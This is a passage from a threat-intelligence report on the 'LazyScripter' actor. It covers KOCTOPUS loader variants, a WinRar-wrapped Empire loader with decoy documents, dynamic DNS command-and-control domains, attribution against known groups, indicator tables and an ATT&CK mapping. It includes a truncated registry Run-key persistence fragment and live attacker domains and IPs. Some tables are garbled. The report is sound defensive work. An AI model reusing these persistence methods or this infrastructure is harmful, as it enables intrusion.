C:\\Users\Public\Libraries\reguac.bat
```

**Registry key variant**

This variant sets the AutoRun registry key with a Powershell command that downloads and executes the batch variant of KOCTOPUS.

```
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
'C:\Users\Public\Libraries\reguac.bat');"
```

**Empoder**

Prior to using Koadic as the main RAT this actor has used PowerShell Empire as its main toolset. To load PowerShell Empire the actor has used its Empire Loader which we call Empoder.

```
In fact, the actor has just used a VBS file to load PowerShell Empire, but it has wrapped its VBS into a WinRar installer which is usually bundled with a decoy document. As an example, “Canada Visa.exe” is a WinRar installer that has two bundled files: a VBS file and a decoy PDF document. This one is specifically designed to target users of Canada Visa, a Canadian immigration law firm based in Montreal, Canada. The decoy document was taken from the Canada Visa website.
```

Figure 36: Reg variant

Figure 37: WinRaR installer
Infrastructure

The actor has leveraged dynamic DNS providers for command-and-control communications. Dynamic DNS providers allow people to create free subdomains on shared domains and as you can see the actor has created five subdomains on four different dynamic DNS domains for the communications.

- kasperskylab.ignorelist.com
- hpsj.firewall-gateway.net
- googlechromeupdater.twilightparadox.com
- iatassl-telechargementsecurity.duckdns.org
- stub.ignorelist.com

Figure 39: Infrastructure
Attribution

We have examined TTPs, toolsets and infrastructure used by this actor to attribute it to any of the known threat actors.

Even though some similarities between this actor and documented APT actors such as APT28 and OilRig exist, these indicators are not enough to attribute to any of these groups.

- APT28 has used Koadic Rat in its past campaigns; the only similarity between them is the use of Koadic open-source tool which is not a strong indicator to show any connections between them.
- OilRig has used the batch to exe tool to convert its PowerShell scripts into executables. This is a good indicator that can show there is some overlap between this actor and OilRig but there are still some major differences between them that makes us believe they are separate groups.

The most similar APT actor to the actor we analyzed in this report is Muddy Water. Here is the list of similarities between them:

- Both have used Koadic and Empire in their previous campaigns
- Both have used scripting languages such as PowerShell in their campaigns
- Both have used GitHub to host their malicious payloads/scripts. Similar to Muddy Water this actor has added forks of some popular toolsets to add some legitimacy to its Github account
- Both have used scheduled tasks and Registry Run Keys / Startup Folder for persistence

However, there are some key differences between them:

- Muddy Water has employed targeted spear phishing attacks to perform its operations while this actor relies on spam campaigns
- This actor has employed several open-source frameworks and commercial malware such as Octopus, Nishang, Quasar, Remcos, njRAT, RMS, NetWire and LumosityLink RAT that have not been used by Muddy Water
- Unlike Muddy Water that has used macro-weaponized maldocs, this actor has not used macro-embedded documents and instead it directly embeds its loader within the maldocs
- Muddy Water has used some custom toolsets such as PowerStats and SharpStats while this actor mainly relies on open-source toolsets to perform its operations

In terms of used infrastructure, we have seen several APT groups that have used dynamic DNS for their C&C communications including Scarlet Mimic, Putter Panda, Turla, Patchwork and APT33. More specifically Scarlet Mimic and Putter Panda have used the same free DNS provider “firewall-gateway.net” for their C&C communications. Still, we have not found any other similarities between these APTs and the actor we analyzed in this report except using a free DNS provider which is not reliable in the attribution process.

Based on the differences we provided in this section we believe this is a new actor that has not been documented before and therefore we have decided to track this actor as a new group that we call LazyScripter.
Conclusion

In this paper, we uncovered several campaigns associated to an actor group that we believe has been active since 2018. Here are its main characteristics:

- Uses open-source offensive security toolsets for different stages of its attack kill-chain including PowerShell Empire, Koadic RAT, Octopus RAT, Nishang and Invoke-Ngrok
- Hosts payloads and scripts mostly on GitHub
- Uses scripting languages in its attacks: batch, VBScript, PowerShell and JavaScript
- Uses spam campaigns to spread its KOCTOPUS loader
- Mainly targets IATA and people looking for jobs (in particular those who want to immigrate to Canada through the skill workers program)
- Usually uses two multi-stage backdoors in its attacks
- Uses commercially available RATs in its attacks including Quasar, LuminosityLink, Remcos, njRAT, Adwind and RMS
- Uses a Batch encryption tool to encrypt all of its batch loaders
- Uses embedded objects within the maldocs instead of using macros
## Indicators of Compromise (IOCs)

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Filename</th>
</tr>
</thead>
<tbody>
<tr>
<td>2d845bd6662e7449f4db7a922e67c665df70cd045af48e2cb3d689a5d0004b2f</td>
<td>Detail.doc</td>
</tr>
<tr>
<td>2e016bca305b1fd0c360d1e7334956a967f48f8fdf6ba272556959769919e24</td>
<td>canadavisa.doc</td>
</tr>
<tr>
<td>240ed00d58e9d34bea58a29c8195d530a86d87c7575b3f699d7c512fd1bc9233</td>
<td>Fiche_de_renseignement_2_SR9924N502567.docx.docx</td>
</tr>
<tr>
<td>7099cdd24bb1eb0dbe3ab1bc1995e3e5cf577b2d23e088d948e8ff749b73795</td>
<td>k.doc</td>
</tr>
<tr>
<td>871b17337ae7bc237d677fd6559ea6432fabcb27252fcefac24bb6132ae8ac8</td>
<td>List of JOBS.doc</td>
</tr>
<tr>
<td>785c2845af631f33fda47b5a0fe5cccb338389b15e028e1ae7f4a18d991e2c38f</td>
<td>LIST OF JOBS.doc</td>
</tr>
<tr>
<td>64dfec0be049dd92388b1e5d8a5ef130907c8ea6a2a1f61564fd865892d24e8</td>
<td>Information All JOBS.doc</td>
</tr>
<tr>
<td>eadae73398980c346cf5783b2f1119cc8af3619ce405f32b943b56013c27d597</td>
<td>Information All Jobs.doc</td>
</tr>
<tr>
<td>c3379e83cd3e8763f80010176905f147fccc26b5e7ad9fa585d5520386bd659</td>
<td>Recommendations Corona Virus.doc</td>
</tr>
<tr>
<td>f462000110df685967fe3521360be461b1204f8f39a2aa785c4885fe3f142082b</td>
<td>Details of Offers.doc</td>
</tr>
<tr>
<td>51a631cf0940341f2682a84993b782e2c015ff2181a4c8894e38617643c6a4ca</td>
<td>COVID-19 &amp; Travelers.doc</td>
</tr>
<tr>
<td>2d845bd6662e7449f4db7a922e67c665df70cd045af48e2cb3d689a5d0004b2f</td>
<td>Job Details.Doc</td>
</tr>
<tr>
<td>ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11c4ba1c247c0f4c</td>
<td>Hiring and working conditions.do</td>
</tr>
<tr>
<td>905ef0a8f5173b917a4f39063346825f4b23ae75cb43190300cb64bd002b9</td>
<td>COVID-19 &amp; Travelers.doc</td>
</tr>
<tr>
<td>24a5c386efc5a5804374dc92b0678d21cab637daced124b5bed1fcd75c2b7d4</td>
<td>JOB_SEARCH_FORM.pdf.zip</td>
</tr>
<tr>
<td>d3bd27ed6ae36518039ffcee592e4a1017d16fe4753ea2c92010a41ef9c4cac</td>
<td>Federal_Skilled_Worker_Program_Eligible_Occupations__Canada_Immigration_and_Visa_Information_Canad.pdf.exe</td>
</tr>
<tr>
<td>1b819105e0971ebbc3c3e4b5f317a8269370198ed369e1cdae9cdeb1c18c460</td>
<td>JOB_SEARCH_FORM.pdf.exe</td>
</tr>
<tr>
<td>0e5c1ff7ee751ed6c3ac9b22dddb7e35eaba24dd8b96a8f233b8c32d29cb012f5</td>
<td>IATA_Secure.zip</td>
</tr>
<tr>
<td>Hash</td>
<td>File Name</td>
</tr>
<tr>
<td>---------------------</td>
<td>----------------------------------</td>
</tr>
<tr>
<td>30c952a2a74d3c55b85f69638599d4f79d1684f37435a18e18879f4c5df39223</td>
<td>IATA_Secure.bat</td>
</tr>
<tr>
<td>b18da5a6fac54acd62d08fd40e16745e6ed6c076f38144ffe9ae215786314700</td>
<td>MS-CV2020X-Update.zip</td>
</tr>
<tr>
<td>1df686dd9367ecd6bba2e9d03cd130e854f097fad3b5d0f58f8be839e310feb5e</td>
<td>MS-CV2020X-Update.reg</td>
</tr>
<tr>
<td>9936e7b3bd979e55b53f323bb70936a8e63c4852b42c9e0db6b42ddc97792dc0</td>
<td>JOB_INFORMATION.zip</td>
</tr>
<tr>
<td>07ae89016f95d512776efc1e7cbb188f2fa2e3bc23333d2361690628940ffdaa</td>
<td>APPWEB_IATA.zip</td>
</tr>
<tr>
<td>14007fd206b747305392b9f8712afab5dd14b2e4e62a0e26a4e8df6933fd67</td>
<td>APPWEB_IATA.exe</td>
</tr>
<tr>
<td>5b0f07ae3b3f79de8845b603dbf62db33fe4e5cfe833b036c9834694cac9f5d</td>
<td>Detail.zip</td>
</tr>
<tr>
<td>1b9e3a0e57de9a2a4b3d04d0a9a32194209b79f03a232db3e8776e083c9b</td>
<td>Detail.pdf.exe</td>
</tr>
<tr>
<td>56d6ea4c914404d73499da8004594cb8844874af71be5a26db305cf6c9576af</td>
<td>SSL_IATA_UPDATER.zip</td>
</tr>
<tr>
<td>1df686dd9367ecd6bba2e9d03cd130e854f097fad3b5d0f58f8be839e310feb5e</td>
<td>SSL_IATA_UPDATER.reg</td>
</tr>
<tr>
<td>730306cfa87a3cc1567c9fa580319b25e94453381e414c8b79b674c53ad50bb</td>
<td>BSPlinkUpdaterV4.zip</td>
</tr>
<tr>
<td>47ba49ace38b677b82e264821274cfb0c531438b4449a2ee8a86f1488a0ec094</td>
<td>BSPlinkUpdaterV4.exe</td>
</tr>
<tr>
<td>b0c171a7bf59face4a906dbae9b0a424b99cd92e23c93eea11c0ff9f9e1b63e</td>
<td>IATA ONE ID.exe</td>
</tr>
<tr>
<td>91573e2aad89c56aaf30ee2dd1155ef1e2b38a2d2856a3201e1f600e6685217</td>
<td>&lt;unknown&gt;</td>
</tr>
<tr>
<td>3a5480d5ea288089567f338055545b05c195f8eaf350ec4698ca6cb03b91f787</td>
<td>Qykk.exe</td>
</tr>
<tr>
<td>acbe0d54176227f28b98c941af1482cc51e43a7b5797c1d3c76b01123e3f8f48</td>
<td>Qykk.exe</td>
</tr>
<tr>
<td>3a5480d5ea288089567f338055545b05c195f8eaf350ec4698ca6cb03b91f787</td>
<td>Qykk.exe</td>
</tr>
<tr>
<td>6d686b686e83cbad8f9708c07251bf79180ade724e4a55c481533591a418885f</td>
<td>Qykk.exe</td>
</tr>
<tr>
<td>3e06419b294d31b00627ab9bd911b8b28f530fd240822ddc4c8395c026e3977c2</td>
<td>BSPlink Upgrade.zip</td>
</tr>
<tr>
<td>7bc29edcb6ab7f7ae89b8a34919f94988a114d522b066b0ddcc233d69dbe0d57</td>
<td>BSPlink Upgrade.exe</td>
</tr>
<tr>
<td>d9c29e1d6655e82c63f3b393e7b74832e4ef9f51d4cf1eb4ced610147e8739ba</td>
<td>1.exe</td>
</tr>
<tr>
<td>76de9f6d0f8cf8c5f2b2baf3c87c363e138af15cf751d2c2a230ad9cafd6271c</td>
<td>Setu-rms.exe</td>
</tr>
<tr>
<td>084a9940f85047be896b1bb1769bd667cef30d15920d61bfc0728d8d87b839df</td>
<td>Ve.exe</td>
</tr>
<tr>
<td>7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c</td>
<td>AdobeSD.exe</td>
</tr>
</tbody>
</table>
Network indicators:
185.186.247.114
kasperskylab.ignorelist.com
hpsj.firewall-gateway.net
googlechromeupdater.twilightparadox.com
157.254.243.62
216.189.145.11
iatassl-telechargementsecurity.duckdns.org

Scheduled Task Names:
WindowsVer
WinDowsUpdates
WindowsUpdatesU
automaticChromeUpdater
AutomaticU
AutomaticAppUpdaterAU
AutomaticMozilla
<table>
<thead>
<tr>
<th>Tactic</th>
<th>Id</th>
<th>Name</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initial access</td>
<td>T1566.001</td>
<td>Spear phishing attachment</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1566.002</td>
<td>Spear phishing link</td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>T1204.001</td>
<td>Malicious links</td>
<td>Manual execution by user</td>
</tr>
<tr>
<td></td>
<td>T1204.002</td>
<td>Malicious files</td>
<td>Manual execution by user</td>
</tr>
<tr>
<td></td>
<td>T1059.003</td>
<td>Windows command shell</td>
<td>Starts CMD.EXE for commands execution</td>
</tr>
<tr>
<td></td>
<td>T1106</td>
<td>Native API</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1059.001</td>
<td>PowerShell</td>
<td>Executes PowerShell scripts</td>
</tr>
<tr>
<td></td>
<td>T1053.005</td>
<td>Scheduled Task</td>
<td>Loads the Task Scheduler DLL interface</td>
</tr>
<tr>
<td>Persistence</td>
<td>T1047</td>
<td>Windows Management Instrumentation</td>
<td>Use Task Scheduler to run other applications</td>
</tr>
<tr>
<td></td>
<td>T1546.001</td>
<td>Change Default File Association</td>
<td>reg.exe Changes default file association</td>
</tr>
<tr>
<td></td>
<td>T1546.012</td>
<td>Image File Execution Options Injection</td>
<td>svchost.exe Changes Image File Execution Options</td>
</tr>
<tr>
<td></td>
<td>T1543.003</td>
<td>Windows Services</td>
<td>Modifies Windows Defender service settings</td>
</tr>
<tr>
<td></td>
<td>T1547.001</td>
<td>Registry Run Keys / Startup Folder</td>
<td>Changes the autorun value in the registry</td>
</tr>
<tr>
<td></td>
<td>T1053.005</td>
<td>Scheduled Task</td>
<td>Loads the Task Scheduler DLL interface</td>
</tr>
<tr>
<td></td>
<td>T1547.004</td>
<td>Win Logon Helper DLL</td>
<td>Changes the login/logoff helper path in the registry</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>T1548.002</td>
<td>Bypass User Account Control</td>
<td>Uses fohelper and event viewer to bypass UAC</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>T1546.012</td>
<td>Image File Execution Options Injection</td>
<td>Changes Image File Execution Options</td>
</tr>
<tr>
<td></td>
<td>T1562.001</td>
<td>Disable or Modify Tools</td>
<td>Modifies Windows Defender service settings</td>
</tr>
<tr>
<td></td>
<td>T1222.001</td>
<td>Windows File and Directory Permissions Modification</td>
<td>Uses ATTRIB.EXE to modify file attributes</td>
</tr>
<tr>
<td></td>
<td>T1112</td>
<td>Modify Registry</td>
<td>Uses REG.EXE to modify Windows registry</td>
</tr>
<tr>
<td></td>
<td>T1218.005</td>
<td>Mshta</td>
<td>Starts MSHTA.EXE for opening HTA or HTMLS files</td>
</tr>
<tr>
<td></td>
<td>T1218.011</td>
<td>rundll</td>
<td>Uses RUNDLL32.EXE to load library</td>
</tr>
<tr>
<td></td>
<td>T1548.002</td>
<td>Bypass User Account Control</td>
<td>Uses fohelper and event viewer to bypass UAC</td>
</tr>
<tr>
<td></td>
<td>T1140</td>
<td>Deobfuscate/Decode Files or Information</td>
<td>Decodes Base64 and decrypts AES encrypted traffic</td>
</tr>
<tr>
<td></td>
<td>T1027</td>
<td>Obfuscated Files or Information</td>
<td>Uses AES encryption</td>
</tr>
<tr>
<td>Discovery</td>
<td>T1057</td>
<td>Process Discovery</td>
<td>Obtains list of running processes</td>
</tr>
<tr>
<td>ID</td>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>--------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1082</td>
<td>System Information Discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1016</td>
<td>System Network Configuration Discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1033</td>
<td>System Owner/User Discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1124</td>
<td>System Time Discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>C&amp;C</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1071.001</td>
<td>Web protocols</td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1132.001</td>
<td>Standard Encoding</td>
<td>Use Base64 to encode the data</td>
<td></td>
</tr>
<tr>
<td>T1001</td>
<td>Data obfuscation</td>
<td>Use AES encryption to encrypt the data</td>
<td></td>
</tr>
<tr>
<td>T1104</td>
<td>Multi-Stage Channels</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exfiltration</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1041</td>
<td>Exfiltration Over C2 Channel</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>